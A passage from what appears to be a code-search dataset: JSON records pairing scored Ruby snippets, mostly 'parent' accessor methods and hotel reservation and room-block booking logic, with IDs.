SideJob.find(SideJob.redis.get(\"#{redis_key}:parent\"))\n end", "title": "" }, { "docid": "a9ae30f4bbac709f73059ff21d38bc68", "score": "0.628192", "text": "def parent_id\n data[:parent_id]\n end", "title": "" }, { "docid": "8891340c261f0f845f8ff1499415fca8", "score": "0.6253007", "text": "def parent\n _parent\n end", "title": "" }, { "docid": "525d7428e52f67efd70095b60da83804", "score": "0.62468415", "text": "def parent_of_comment_id\r\n @place.id\r\n end", "title": "" }, { "docid": "7b070421008ed8a1a52166521920b679", "score": "0.624559", "text": "def parent_reply\n Reply.find_by_id(self.parent_id)\n end", "title": "" }, { "docid": "8b40d66909b645c89c80a35099b7705a", "score": "0.62419355", "text": "def parent\n @parent\n end", "title": "" }, { "docid": "8b40d66909b645c89c80a35099b7705a", "score": "0.62419355", "text": "def parent\n @parent\n end", "title": "" }, { "docid": "662e0e09947b1bc95a7cfe3de3a7de93", "score": "0.6229088", "text": "def parent\n return @parent if defined?(@parent)\n\n @parent = nil\n\n @parent = issue.parent if issue\n end", "title": "" }, { "docid": "41ca9d9cfcf89a58d2aeaebb24234a1f", "score": "0.62144357", "text": "def ultimate_parent # note: ultimate parent is self, not nil, if self has no parent...\n if parent_id.blank?\n self\n else\n parent.ultimate_parent\n end\n end", "title": "" }, { "docid": "a1c60f795b5d245dce8098a347ea91dc", "score": "0.62024236", "text": "def children_of(post)\n posts.find_all { |t| t.parent_post == post.id }\n end", "title": "" }, { "docid": "0950ccc4e720a68c41d95411067d672f", "score": "0.6172324", "text": "def parent\n unless @node.send(@parent).nil?\n @node = @node.send(@parent)\n end\n end", "title": "" }, { "docid": "f246683fc2843df43501682d83c247d6", "score": "0.6155929", "text": "def parent\n @parent ||= begin\n parent_id = data[\"parentId\"]\n client.categories.find(parent_id) if parent_id\n end\n end", "title": "" }, { "docid": "d25274e76da7d2ce78dbfd7230c8a162", "score": "0.6148619", "text": "def parent\n @parent ||= new_or_create? ? find_parent_by_id : lookup_parent_from_child\n end", "title": "" }, { "docid": "1d7f1f1894f3de190aaea28301ea54ec", "score": "0.6145428", "text": "def parent_id\n self.parent._id.to_s\n end", "title": "" }, { "docid": "6dfe0deac89e649246b9fc33ac7f4818", "score": "0.6123366", "text": "def parent\n object.try(:loaded)&.[](:parents)&.first || wayfinder.decorated_parent\n end", "title": "" }, { "docid": "e1bc82e6a53e8270d1cdcf14e9a5c3e4", "score": "0.6123229", "text": "def parent\n has_parent? and history.first\n end", "title": "" }, { "docid": "bd7c38db79e54ddfe98840661471af5d", "score": "0.6122121", "text": "def parent_id\n parent_ids.last\n end", "title": "" }, { "docid": "1c566d3c2b70eda9a6c073ca6b3c0eaa", "score": "0.6117879", "text": "def get_parent\n\n get_expression_pool.fetch_expression(@parent_id)\n end", "title": "" }, { "docid": "d316d452afadccb0ec62c3aa4d865b5a", "score": "0.6110115", "text": "def parent_document\n pi = parent_item\n return if pi == nil\n pi_id = pi.id\n return if pi_id == nil\n DocumentRepository.find(pi_id)\n end", "title": "" }, { "docid": "ea94e139c23b4eb555afc4363ce942b8", "score": "0.60939616", "text": "def parent\n nil\n end", "title": "" }, { "docid": "48f8fb066fc72c295685e8a2936fde2c", "score": "0.6081555", "text": "def parent\n self.parents.where('forestify_level = ?', self.forestify_level - 1).first\n end", "title": "" }, { "docid": "176f635dc88904b5699da676878e3eb6", "score": "0.6065681", "text": "def parent\n owner\n end", "title": "" }, { "docid": "48ebd095ce417e1800a14a94768b832c", "score": "0.60636866", "text": "def parent\n if @resource[:parent] =~ /^[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}$/\n gindex = $ngs.index { |i| i['id'] == @resource[:parent] }\n $ngs[gindex]['id']\n else\n @property_hash[:parent]\n end\n end", "title": "" }, { "docid": "faf1e70730534f50d0567d6de59b891f", "score": "0.604141", "text": "def parent\n p = (@context.parent.nil? || (@context == @context.parent)) ? nil : R2Doc.all_references[parent_name]\n # guard against pollution of all_references with methods having conflicting names\n (p.respond_to?(:is_method_context?) && p.is_method_context?) ? nil : p\n end", "title": "" }, { "docid": "fdbb56d49311cb06cb381e1d2ca5cdd9", "score": "0.6036067", "text": "def get_parent_object\n nil\n end", "title": "" }, { "docid": "0966dc3fbe3c253a562b0f5751735aef", "score": "0.6033791", "text": "def parent\n return nil unless catalog\n\n unless defined?(@parent)\n if parents = catalog.adjacent(self, :direction => :in)\n # We should never have more than one parent, so let's just ignore\n # it if we happen to.\n @parent = parents.shift\n else\n @parent = nil\n end\n end\n @parent\n end", "title": "" }, { "docid": "5df011d2d13fb6d16551f10e7cd55cae", "score": "0.60310477", "text": "def parent_of node\n\t\treturn is_valid(node) ? node.parent : nil\n\tend", "title": "" }, { "docid": "51fbe4339acf44cfbbe4c2209ad1bfdc", "score": "0.6024864", "text": "def last_parent\n @stack.reverse.find { | obj | obj.kind_of? Parent }\n end", "title": "" }, { "docid": "bf5349e76d1ede951045b459db007e24", "score": "0.6016368", "text": "def parent()\n bag.get(bag.parent(path))\n end", "title": "" }, { "docid": "ee6d85fe5aa8461a54e22c4b98e5b32d", "score": "0.60099596", "text": "def parent\n self.class.find_in_nested_set(self[parent_col_name]) if self[parent_col_name]\n end", "title": "" }, { "docid": "4d8633ae0889be27c6dd5db0eba25c82", "score": "0.6009888", "text": "def parent_object\n if has_parent?\n actual_class = parent_class_name.camelize.constantize\n actual_class.find(parent_id)\n else\n nil\n end\n end", "title": "" }, { "docid": "6613de05e71fe334ea502a9bec3f4b17", "score": "0.5985704", "text": "def parent_chunk\n @parent_chunk\n end", "title": "" }, { "docid": "21796fd44320e02e6a7a38b6b7025223", "score": "0.5977695", "text": "def parent(node)\n parent = adjacent(node, :direction => :in)\n raise JumokuError, \"Inconsistent directed tree (more than one parent for the node!)\" if parent.size > 1\n parent.empty? ? nil : parent.first\n end", "title": "" }, { "docid": "81bfb56a76f9ed012be1a4225e7fe6fc", "score": "0.59735036", "text": "def parent\n @parent ||= @parent_id ? @book.find_account_by_id(@parent_id) : nil\n end", "title": "" }, { "docid": "c29f145f0af9beeb8df7932d92632406", "score": "0.5964038", "text": "def parent\n self.node && self.node.parent && self.node.parent.content\n end", "title": "" }, { "docid": "8febf686580ff471ecea2e13f6a3c7af", "score": "0.5961339", "text": "def parent\n return persistence_strategy.parent if\n persistence_strategy.respond_to?(:parent)\n\n nil\n end", "title": "" }, { "docid": "f5a6a79a3dc1f3c514126f6f7f473c00", "score": "0.59603405", "text": "def previous_post_id(post_id)\n return nil if first_post?(post_id) || !contains?(post_id)\n\n n = post_ids.index(post_id) - 1\n post_ids[n]\n end", "title": "" }, { "docid": "74366f8558f5b6a27e21cc8f40b5f353", "score": "0.5959523", "text": "def parent_id\n @path.split('/').last if @path\n end", "title": "" }, { "docid": "60f7ae26e30da5e13c173e6b33d037a0", "score": "0.5955877", "text": "def parent_id\n\n h.parent_id ?\n Ruote::FlowExpressionId.new(h.parent_id) :\n nil\n end", "title": "" }, { "docid": "1984ad9243a387566be4eb252ad03e0b", "score": "0.5912636", "text": "def parent parent\n @menu.parent parent\n end", "title": "" }, { "docid": "46b5b1538d7cc29e8bf041c5eac01cc0", "score": "0.5909736", "text": "def parent\n page\n end", "title": "" }, { "docid": "ff6ab5d94d945e535784e0a89794edcc", "score": "0.5895969", "text": "def parent\n self\n end", "title": "" }, { "docid": "84f954d5f9fe9c2be925569765926726", "score": "0.5894922", "text": "def parent(refresh = false)\n if refresh or @parent_cache.nil?\n [:comment, :journal, :photograph, :page].each do |p|\n if self.respond_to?(p) and parent = self.send(p)\n # We found an applicable parent.\n @parent_cache = parent\n return parent\n end\n end\n # We didn't find any parent\n nil\n else\n @parent_cache\n end\n end", "title": "" }, { "docid": "cf64b4f709dbac2d22cdff55944406c9", "score": "0.5893468", "text": "def parent_rel(*args)\n rels = parent_rels(*args).take(2)\n raise _(\"Multiple parents found.\") if rels.length > 1\n rels.first\n end", "title": "" }, { "docid": "823d2f8af0d0268fe6e25a305fe92bbc", "score": "0.5880343", "text": "def parent\n nil\n end", "title": "" }, { "docid": "f88631d42e0d15022827f647b4000c27", "score": "0.5879227", "text": "def relative_url_parent\n note = self\n return note.get_parent().relative_url\n end", "title": "" }, { "docid": "1c2b3b4df6f2b3dbbe4c1494f2808cef", "score": "0.5870151", "text": "def parent_id\r\n return nil unless ar_object\r\n ar_object[ar_p]\r\n end", "title": "" }, { "docid": "cfa3c02151ce5f5c24ab1054e1be037b", "score": "0.5858811", "text": "def parent_notebook\n return @parent_notebook\n end", "title": "" }, { "docid": "cfa3c02151ce5f5c24ab1054e1be037b", "score": "0.5858811", "text": "def parent_notebook\n return @parent_notebook\n end", "title": "" }, { "docid": "cfa3c02151ce5f5c24ab1054e1be037b", "score": "0.5858811", "text": "def parent_notebook\n return @parent_notebook\n end", "title": "" }, { "docid": "3b7de3e03620904ba18a37e7c8985375", "score": "0.5856408", "text": "def parent_name\n parent_info && parent_info.name\n end", "title": "" }, { "docid": "a7061b440ca3fac438a67745643eeff1", "score": "0.5856077", "text": "def get_parent_tagname\n self.parent_tagname.present? ? self.parent_tagname : nil\n end", "title": "" }, { "docid": "a7061b440ca3fac438a67745643eeff1", "score": "0.5856077", "text": "def get_parent_tagname\n self.parent_tagname.present? ? self.parent_tagname : nil\n end", "title": "" }, { "docid": "8ff9f8a2c66900c23335c03e1e2f5ef4", "score": "0.5855538", "text": "def parent_tag\n return nil unless within_open_tag?\n\n @tags_list.last\n end", "title": "" }, { "docid": "ff8cf469999440e82510c9073ee4551d", "score": "0.58473253", "text": "def parent\n User.find(self.user_id)\n end", "title": "" }, { "docid": "5163fd42aec68ade61055b2678c44912", "score": "0.5823042", "text": "def parent(node)\n value = node.value\n parent_node = nil\n current_node = @root\n while (current_node)\n if value > current_node.value\n parent_node = current_node #always keep a pointer to the parent\n #before traversing down\n current_node = current_node.right\n elsif value < current_node.value\n parent_node = current_node\n current_node = current_node.left\n else\n return parent_node\n end\n end\n nil\n end", "title": "" }, { "docid": "d655ac78d2a7bcbf0f66939c0b4e4197", "score": "0.57998556", "text": "def parent_object\n @parent_object ||= parent? && !parent_singleton? ? parent_model.find(parent_param) : nil\n end", "title": "" }, { "docid": "bf11f8b252c538b469404e59f5c44547", "score": "0.5798743", "text": "def parent\n @parent || NullResource.new\n end", "title": "" }, { "docid": "0d85ba2c4444c8573b754cab91aede84", "score": "0.57950246", "text": "def parent\n\t\tpardn = self.parent_dn or return nil\n\t\treturn self.class.new( self.directory, pardn )\n\tend", "title": "" }, { "docid": "fc150a478b56a3884dbfd096cc3ffeb9", "score": "0.5791739", "text": "def parent(*args)\n return call_ancestry_method(:parent) if use_ancestry?\n\n rels = parent_rels(*args).take(2)\n raise _(\"Multiple parents found.\") if rels.length > 1\n rels.first.try(:resource)\n end", "title": "" }, { "docid": "28deab30d9f6492508b2cab7cea3ae24", "score": "0.5779339", "text": "def prev\n post_comments = self.post.comments #in order of id\n index = post_comments.index(self)\n new_index = index - 1\n if new_index < 0\n return nil\n else\n return post_comments[new_index]\n end\n end", "title": "" }, { "docid": "ad220d4eb14390cbb07eebbc000ad2b8", "score": "0.5769247", "text": "def parent\n @controller.instance_variable_get(:\"@#{parent_name}\")\n end", "title": "" }, { "docid": "4a437a73dec99f943f33761d1ae1b6e0", "score": "0.5762623", "text": "def parent\n @parent ||= Wayfinder.for(file_set).parent\n end", "title": "" }, { "docid": "009b6928fba64d7d19ebfef7027e69e3", "score": "0.5760342", "text": "def parent_relative_left\n left - (parent.try(:left) || 0)\n end", "title": "" }, { "docid": "a8a098f1d4cdf1e7dba2e388a48d2bed", "score": "0.5750041", "text": "def parent\n if @obj.parent\n LazyEvaluator.new(@obj.parent)\n else\n nil\n end\n end", "title": "" }, { "docid": "fa9c76fdf2ca272a3bef0a7a2e0484ec", "score": "0.5748347", "text": "def parent(node_id)\n node_id >> 1 # node_id / 2\n end", "title": "" }, { "docid": "842995eddfec51701141fcb795238bee", "score": "0.57428527", "text": "def parent\n self\n end", "title": "" }, { "docid": "033ce3653bcf63e14ed050e1119a73e6", "score": "0.5736878", "text": "def parent(node, root = nil)\n root ||= @root\n raise IndexError, 'can not get parent for unrooted tree' unless root\n unless ret = _get_cached_parent(node, root) then\n ret = self.path(root, node)[-2]\n _cache_parent(node, ret, root)\n end\n ret\n end", "title": "" }, { "docid": "59d5ec72aaeba44d9c92bc2d7f616c85", "score": "0.5721853", "text": "def parent_handle\n self.parent ? self.parent.handle : @parent_handle\n end", "title": "" }, { "docid": "3e1db15073bee0a1ec17c4bd64d7a21f", "score": "0.571728", "text": "def parent_task\n parents = each_parent_task.to_a\n if parents.size > 1\n raise ArgumentError, \"#{self} has #{parents.size} parents (#{parents.map(&:to_s).join(', ')}. A single parent was expected\"\n elsif parents.empty?\n raise ArgumentError, \"#{self} has no parents. A single parent was expected\"\n end\n\n parents.first\n end", "title": "" } ]
e20f9a9dbea048c94d380b0043eb38da
returns the IDs of Reservations made from the (block_id)
[ { "docid": "34a953badbc685e49639dc43724752cc", "score": "0.0", "text": "def room_no_check(room_no)\n bool = (1..20).cover? room_no\n raise ArgumentError, 'Not a valid room number' unless bool\n end", "title": "" } ]
[ { "docid": "1870b5a0508c5ab1c3bece696329ad8b", "score": "0.80843776", "text": "def booked_ids(block_id, _room_count)\n check_block(block_id)\n booked_from_block = @reservations.select(&:block_id)\n unless booked_from_block.nil?\n booked_rooms = booked_from_block.map(&:rooms)\n booked_rooms = booked_rooms.flatten\n booked_ids = booked_rooms.map(&:room_id)\n return booked_ids\n end\n end", "title": "" }, { "docid": "dd95599b1caad196f37ee3c4ffdf7910", "score": "0.70651174", "text": "def reserve_block_room(block_id)\n\n block_records = []\n block_records = check_block_availability(block_id)\n\n start_date = block_records[0].start_date\n end_date = block_records[0].end_date\n room_number = block_records[0].room_number\n discount_rate = block_records[0].discount_rate\n status = false\n reservation = Hotel::Reservation.new(start_date,end_date,room_number)\n #below record is used to add the same record into block_reservation with status false\n reservation_block = Hotel::BlockReservation.new(start_date,end_date,room_number, discount_rate, block_id, status)\n\n @all_reservations << reservation\n #to find the index of the room in block_reservation array\n index_record = 0\n for num in 0..@block_reservation.length-1\n if (@block_reservation[num].room_number == room_number && @block_reservation[num].block_id == block_id)\n index_record = num\n end\n end\n #Remove the room from the @block_reservation\n @block_reservation.delete_at(index_record)\n #Add the removed room with status false\n @block_reservation << reservation_block\n return @block_reservation\n\n end", "title": "" }, { "docid": "e5a8b3d6e551862178da90e636fb50c0", "score": "0.6933015", "text": "def make_reservation_in_block(block_id)\n current_block = find_by_block_id(block_id)\n rooms_avail = rooms_available_in_block(block_id)\n new_reservation = My_Hotel::Reservation.new(current_block.nights_held)\n new_reservation.create_booking(@all_reservations, rooms_avail, current_block.discount, block_id)\n @all_reservations << new_reservation\n return new_reservation\n end", "title": "" }, { "docid": "334d814af9501bd9ee478c55dfb447ec", "score": "0.6923553", "text": "def guest_ids\n reservations.map { |reservation| reservation.guest_id }\n end", "title": "" }, { "docid": "b26dbc0f4f9aa2003c1e1fd1b89053c7", "score": "0.6890468", "text": "def all_reservations\n # binding.pry\n @bus_ids = current_bus_owner.buses.map(&:id)\n\n # @all_reservations = \n end", "title": "" }, { "docid": "7d80ac1eaa7e8f76e3ee49d22628b3f5", "score": "0.6801292", "text": "def reservations\n Reservation.all.find_all { |reservation| reservation.guest_id == id }\n end", "title": "" }, { "docid": "34f272b219a7a3d6fc2093dfbec869d2", "score": "0.67948276", "text": "def block_ids(params = {})\n response = get('blocks/ids.json', params)\n Croudia::Object::IDs.new(response)\n end", "title": "" }, { "docid": "730eb29ac82dda61e06d459ecaaec4d9", "score": "0.6654406", "text": "def room_ids\n reservations.map { |reservation| reservation.room_id }\n end", "title": "" }, { "docid": "a9596051fb030f55a2722cfab38b8391", "score": "0.66241246", "text": "def book_room_of_block(block_id)\n rooms_of_block_available = @reservations.select{|booking|booking.reservation_id[0..4] == block_id && booking.block_tag == \"block-available\"}\n num_available = rooms_of_block_available.length\n\n unless num_available > 0\n raise ArgumentError, \"All rooms in this block are booked!\"\n end \n\n reservation_id_to_change = rooms_of_block_available[0].reservation_id\n\n @reservations.each do |booking|\n if booking.reservation_id == reservation_id_to_change\n booking.block_tag = \"block-booked\"\n end \n end \n\n return rooms_of_block_available[0]\n end", "title": "" }, { "docid": "271be3c1ddc30ca9df61b7d7ca3f6588", "score": "0.6612531", "text": "def reserve_from_block(room_id:, block_id:)\n self.class.validate_id(room_id)\n self.class.validate_id(block_id)\n block = @blocks.find { |block| block.block_id == block_id }\n block.reserve_room(room_id: room_id)\n check_in_date = block.check_in_date.to_s\n check_out_date = block.check_out_date.to_s\n new_reservation = new_reservation(room_id, check_in_date, check_out_date)\n\n # I can see a reservation made from a hotel block\n add_reservation(new_reservation)\n store_blocks_in_csv\n return new_reservation\n end", "title": "" }, { "docid": "6fc34da2d205c12361f5cace9fda5262", "score": "0.6557404", "text": "def find_rooms_in_block(block_id)\n block = find_by_block_id(block_id)\n block.room_numbers\n end", "title": "" }, { "docid": "3a7f6fa0a4dc33d64d5ca259d93ecb4b", "score": "0.6542075", "text": "def reserve_block_room(block, num)\n if num > block.rooms_available.length\n raise RoomQuantityError.new \"Not enough rooms in block.\"\n end\n\n rooms_to_reserve = []\n num.times do |i|\n block.rooms[i].reserved = true\n rooms_to_reserve << block.rooms[i]\n end\n # This is an example of tight coupling. Instead of directly manipulating the block's data, it might be cleaner to write a method Block#reserve_rooms that does the work. That way, if the implementation of Block changes, this code will not have to change.\n res_id = @all_reservations.length + 1\n\n booking = Booking.new(res_id, rooms_to_reserve, block.date_range, block_id: block.block_id)\n\n @all_reservations << booking\n #but then how do I get a res_id and push to all_reservations?\n return booking\n end", "title": "" }, { "docid": "cbec50e326d0e95fa3036aaad5771ab7", "score": "0.6466328", "text": "def reservations\n Reservation.all.find_all { |reservation| reservation.room_id == id }\n end", "title": "" }, { "docid": "66d28e5a086d3b8fa56de51a05973c12", "score": "0.6453025", "text": "def room_ids\n [].tap do |ids|\n @blocks.each do |block|\n block.data['block'].each do |b|\n ids << self.class.parse_room_id(b['block_id'])\n end\n end\n end.uniq\n end", "title": "" }, { "docid": "4c0ebb0c17c26e9b80d6c52f2aa3db2a", "score": "0.6317883", "text": "def blocking_ids\n get(\"/blocks/blocking/ids.json\")\n end", "title": "" }, { "docid": "f0a1da3c3be51a3bc6c44134ded2faa4", "score": "0.6314851", "text": "def existing_reservations\n if !self.start_dt.blank? && !self.end_dt.blank? && !self.room.blank?\n start_dt = self.start_dt.to_datetime.change(:offset => \"+0000\")\n end_dt = self.end_dt.to_datetime.change(:offset => \"+0000\")\n is_block = self.is_block?\n room_id = self.room.id\n results_size = (self.is_block?) ? 1000 : 1\n\n existing_reservations = Reservation.tire.search do\n query do\n filtered do\n filter :term, :is_block => false if is_block\n filter :range, :end_dt => { :gte => Time.zone.now.to_datetime.change(:offset => \"+0000\") } if is_block\n filter :term, :room_id => room_id\n filter :term, :deleted => false\n filter :or,\n { :and => [\n { :range => { :start_dt => { :gte => start_dt } } },\n { :range => { :start_dt => { :lt => end_dt } } }\n ]},\n { :and => [\n { :range => { :end_dt => { :gt => start_dt } } },\n { :range => { :end_dt => { :lte => end_dt } } }\n ]},\n { :and => [\n { :range => { :start_dt => { :lte => start_dt } } },\n { :range => { :end_dt => { :gte => end_dt } } }\n ]}\n end\n end\n size results_size\n end\n\n return existing_reservations.results\n end\n []\n end", "title": "" }, { "docid": "08cf935fea970449d05b6f11ca593751", "score": "0.6172028", "text": "def reserve_block_room(block)\n room = block.reserve_room\n reservation = Reservation.new(block.name, room, block.dates.start, block.dates.end)\n return reservation\n end", "title": "" }, { "docid": "4056710d1f737fdbfb3a3bde32ed880e", "score": "0.6171462", "text": "def reservations\n @reservations ||= []\n end", "title": "" }, { "docid": "4056710d1f737fdbfb3a3bde32ed880e", "score": "0.6171462", "text": "def reservations\n @reservations ||= []\n end", "title": "" }, { "docid": "09a3512d1698c81879a4b387e3caa974", "score": "0.6167613", "text": "def check_block_availability(block_id)\n block_records = @block_reservation.select{|block| block.block_id == block_id && block.status == true}\n if block_records.empty?\n raise Exception.new(\"No rooms are available in the block\")\n else\n return block_records\n end\n end", "title": "" }, { "docid": "c79a9a515fb5805154a328a02f12ae80", "score": "0.6137237", "text": "def get_block_room(start_date,end_date)\n room_list = []\n (start_date...end_date).each do |date_record|\n @block_reservation.each do |room_record|\n\n if room_record.start_date <= date_record && room_record.end_date > date_record\n room_list << room_record.room_number\n end\n end\n end\n return room_list\n end", "title": "" }, { "docid": "701929cdb76a5c637827274516e40cfa", "score": "0.6131433", "text": "def reserve_from_block(block, room)\n raise ArgumentError, \"Not a block\" unless block.instance_of?(Hotel::Block)\n raise ArgumentError, \"Room not in block\" unless block.rooms.include?(room)\n # Only reserves a room from block for the full duration of the block\n # When a room is reserved from a block of rooms, the reservation dates will always match the date range of the block\n start_date = block.range.start_date\n end_date = block.range.end_date\n raise ArgumentError, \"No Vacancy\" unless is_room_available?(start_date, end_date, room)\n reservation = Hotel::Reservation.new(start_date, end_date, room)\n # Reservation made from a hotel block adds to the list of reservations for that date\n @reservations << reservation\n return reservation\n end", "title": "" }, { "docid": "4cb0e5cc5155714e1774d6bd853a63b8", "score": "0.6128949", "text": "def reserve_room(start_date, end_date, room, block_id = nil, blocks_room_status = nil)\n new_res = Reservation.new(start_date, end_date, room, block_id )\n @reservation_array << new_res\n return new_res\n end", "title": "" }, { "docid": "c0aaff89b4ac66f896d4d3b479aabfb5", "score": "0.6077179", "text": "def list_reservations\n return @reservations\n end", "title": "" }, { "docid": "956c423ab7faacfa6132df486358d20e", "score": "0.6076301", "text": "def reserve_block_room(room, block)\n found_block = find_block(block)\n found_room = find_room(room)\n found_reservation = found_room.reservations.find { |reservation| reservation.hotel_block == block}\n found_reservation.available == false\n return found_reservation\n end", "title": "" }, { "docid": "fb49461dd29be9e66e0a511c5531148d", "score": "0.60757494", "text": "def normal_reservations\n id_column = \"#{Reservation.table_name}.id\"\n scopes = [reservations, participating_reservations]\n sub_query = scopes.map { |scope| scope.select(id_column).to_sql }.join(\" UNION \")\n Reservation.where(\"#{id_column} IN (#{sub_query})\").non_coached\n end", "title": "" }, { "docid": "761800a22c73692389dfb2e60172af4f", "score": "0.6053941", "text": "def find_reservation(id)\n\n return @reservations.find {|reserve| reserve.id == id }\n\n end", "title": "" }, { "docid": "83f69facd386c6ca9fbae9d42b68efbb", "score": "0.60489357", "text": "def reservations\n group.reservations.between(start_time, end_time)\n end", "title": "" }, { "docid": "bacb20d2d2ec15d9946c1a02be6f8af8", "score": "0.6045481", "text": "def reservations_exist_in_block\n if timeslot_contains_reservations?\n errors.add(:base, I18n.t('reservation.reservations_exist_in_block'))\n end\n end", "title": "" }, { "docid": "c62bbbc771c24a2a8d89af3a5fabcf7a", "score": "0.6043319", "text": "def create_block(start_date, end_date, block_id, discount_rate)\n if start_date.class != Date || end_date.class!=Date\n raise ArgumentError.new(\"Invalid date\")\n end\n avail_rooms = get_available_rooms(start_date,end_date)\n\n (0..4).each do |i|\n room_block = avail_rooms[i]\n # print room_block\n reservation_block = Hotel::BlockReservation.new(start_date,end_date,room_block, discount_rate, block_id)\n @block_reservation << reservation_block\n end\n return @block_reservation\n\n end", "title": "" }, { "docid": "3319ab1ae5146a4a296cf25c319fa6a5", "score": "0.6038011", "text": "def reserve_room_in_block(data)\n room_num = data[:room_num]\n range = data[:range]\n room = @rooms.select { |room| room.number == room_num}[0]\n room.reserve_room_block(range)\n ### FUTURE WORK: 1. use method view_vacant_rooms_in_block before making a reservation\n # => 2. create isntance of reservation\n end", "title": "" }, { "docid": "f9fb893c1abe431652428eddadbdeabc", "score": "0.60350215", "text": "def generate\n @block = Reservation.new(params[:block]) \n @room = Room.find(params[:block][:room_id])\n \n @start_dt = params[:block][:start_dt] unless params[:block][:start_dt].blank?\n @end_dt = params[:block][:end_dt] unless params[:block][:end_dt].blank?\n \n # Find all reservations that fall between this selected date range \n @existing_reservations = Reservation.active_non_blocks.where(\"room_id = ? AND start_dt >= ? AND ((start_dt BETWEEN ? AND ?) OR (end_dt BETWEEN ? AND ?) OR (start_dt <= ? AND end_dt >= ?))\", params[:block][:room_id], Time.now, @start_dt, @end_dt, @start_dt, @end_dt, @start_dt, @end_dt)\n\n # Set the fields to the proper datetime objects \n @block.start_dt = @start_dt\n @block.end_dt = @end_dt\n @block.title = \"Scheduled closure\" if params[:block][:title].blank?\n \n respond_with(@block)\n end", "title": "" }, { "docid": "f5d75dd3bf76115bd7bddf000b57bd01", "score": "0.59883004", "text": "def rooms_available_in_block(block_id)\n rooms_in_block = find_rooms_in_block(block_id)\n rooms_in_use = find_rooms_in_use_by_block_id(block_id)\n free_room_numbers = rooms_in_block - rooms_in_use\n free_rooms = {}\n free_room_numbers.each do |number|\n free_rooms[number] = ROOMS[number]\n end\n free_rooms\n end", "title": "" }, { "docid": "750d1502a237c6665ac76daaa4400c52", "score": "0.591289", "text": "def blocks_sowed origin = \"Ejecutado\"\n Block.where(id: beds.where(id: sowing_details.where(origin: origin).pluck(:bed_id)).pluck(:block_id).uniq)\n end", "title": "" }, { "docid": "44f86f9d004628db9015676252d66e0f", "score": "0.5912603", "text": "def reserve_room_from_block(room_number, block_name)\n block = find_block(block_name)\n if block.available_rooms.include?(room_number)\n block.reserve_a_room(room_number)\n reserve = Reservation.new(block.date_range, room_number, block.discounted_room_rate)\n list_of_reservations << reserve\n else\n raise ArgumentError.new(\"The room is not available in this block\")\n end\n end", "title": "" }, { "docid": "28635f2a802b64afd7dde3535fff6787", "score": "0.58861464", "text": "def cart_reservations\n CartReservation.where(id: @items)\n end", "title": "" }, { "docid": "3c38cdf8afd8770ca051a910a7b2a3c3", "score": "0.58689386", "text": "def find_reservations(date)\n date = Time.parse(date)\n reservations = @reservations.select do |instance|\n start_date = instance.start_time\n end_date = instance.end_time\n end_date = end_date - 1\n if date_in_range(start_date, end_date, date)\n instance\n end\n end\n return reservations\n end", "title": "" }, { "docid": "383119e5bd88a16b3c5c30b69a130bb1", "score": "0.58634126", "text": "def list_reservations\n @gateway.fetch(path: \"list_reservations\")\n end", "title": "" }, { "docid": "383119e5bd88a16b3c5c30b69a130bb1", "score": "0.58634126", "text": "def list_reservations\n @gateway.fetch(path: \"list_reservations\")\n end", "title": "" }, { "docid": "85f58630a4665d590ba9d9023e1b9532", "score": "0.58537936", "text": "def check_block(_block_id)\n reference_block = @blocks.select(&:block_id)\n booked_from_block = @reservations.select(&:block_id)\n bool = (reference_block[0].rooms.length != booked_from_block.length)\n raise ArgumentError, 'All the rooms have been reserved' unless bool\n end", "title": "" }, { "docid": "923e2bf51cb396899f1d400a360ffb43", "score": "0.5835611", "text": "def reserve_from_block(date, block_key)\n book_room = update_block(date, block_key)\n book_room.assigned_room = book_room.assigned_room[0]\n book_room.num_rooms = 1\n return book_room\n end", "title": "" }, { "docid": "c5b2f26654b98a4c1bc1da747a149e70", "score": "0.58342326", "text": "def reserve_room_from_hotel_block(room,start_date, end_date)\n given_date_range = Hotel::DateRange.new(start_date, end_date)\n all_available_rooms_of_hotel_blocks = available_rooms_of_hotel_blocks(start_date, end_date)\n if all_available_rooms_of_hotel_blocks.empty?\n raise NoRoomAvailableError.new(\"there is no available room.\")\n end \n if all_available_rooms_of_hotel_blocks.any?(room)\n id = reservations.length + 1 \n reservation = Hotel::Reservation.new(id,given_date_range,room)\n # Add the reservation to the reservation list \n add_reservation(reservation)\n # remove the room from the all_available_rooms_of_hotel_blocks\n hotel_block_after_reservation = remove_room_from_hotel_block(room, start_date, end_date)\n if hotel_block_after_reservation.rooms.empty?\n delete_hotel_block(hotel_block_after_reservation)\n end\n end\n return reservation\n end", "title": "" }, { "docid": "d436640f6faa5be518df9fce681de304", "score": "0.58154124", "text": "def view_vacant_rooms_in_block(range)\n available_rooms = []\n block_rooms = find_block(range)\n block_rooms.each do |room|\n #blocks variable is an array\n blocks = room.blocks\n blocks.each do |block|\n if block[:status] == \"available\"\n available_rooms << room\n end\n end\n end\n return available_rooms\n end", "title": "" }, { "docid": "f765e11f0a5767fd2ffb54db14ea29df", "score": "0.58055204", "text": "def check_hotel_block_list_availability(hotel_block_id)\n raise ArgumentError.new(\"Not a valid Hotel Block ID!\") if !(hotel_block_list.keys.include? hotel_block_id)\n available_rooms_in_block = Array.new\n hotel_block_list[hotel_block_id].block_reservations.each do |reservation|\n if reservation.check_status\n available_rooms_in_block << reservation.room_num\n end\n end\n\n if available_rooms_in_block == []\n raise ArgumentError.new(\"No room available in this hotel block anymore!\")\n else \n return available_rooms_in_block\n end\n end", "title": "" }, { "docid": "8c9d67b451254f57ae30683ea30c7d9a", "score": "0.58045053", "text": "def make_block_reservation(start_year, start_month, start_day, end_year, end_month, end_day, input_name)\n res_range = DateRange.new(start_year, start_month, start_day, end_year, end_month, end_day)\n block = blocks.find {|block| block.name == input_name}\n if block == nil\n raise ArgumentError, \"No block under that name was found in the hotel system.\"\n end \n if block.date_range.range != res_range.range\n raise ArgumentError, \"The requested booking dates do not match the dates specified by the block.\"\n end \n new_block_reservation = Reservation.new(res_range, input_name)\n new_block_reservation.room_num = block.room_nums.shift \n @rooms[new_block_reservation.room_num - 1].reservations << new_block_reservation\n return new_block_reservation\n end", "title": "" }, { "docid": "bfc75f5b9977085edc97fce0ced51c08", "score": "0.57954866", "text": "def reservations\n end", "title": "" }, { "docid": "a4c0befe570fbe42df19bc33e76a99a7", "score": "0.5784674", "text": "def reservations\n xml = moab(@cluster).call(\"mrsvctl\", \"-q\", \"ALL\")\n xml.xpath(rsv_xpath).map {|r_xml| parse_rsv_xml @cluster, r_xml}\n rescue Moab::Error => e\n raise Error, e.message\n end", "title": "" 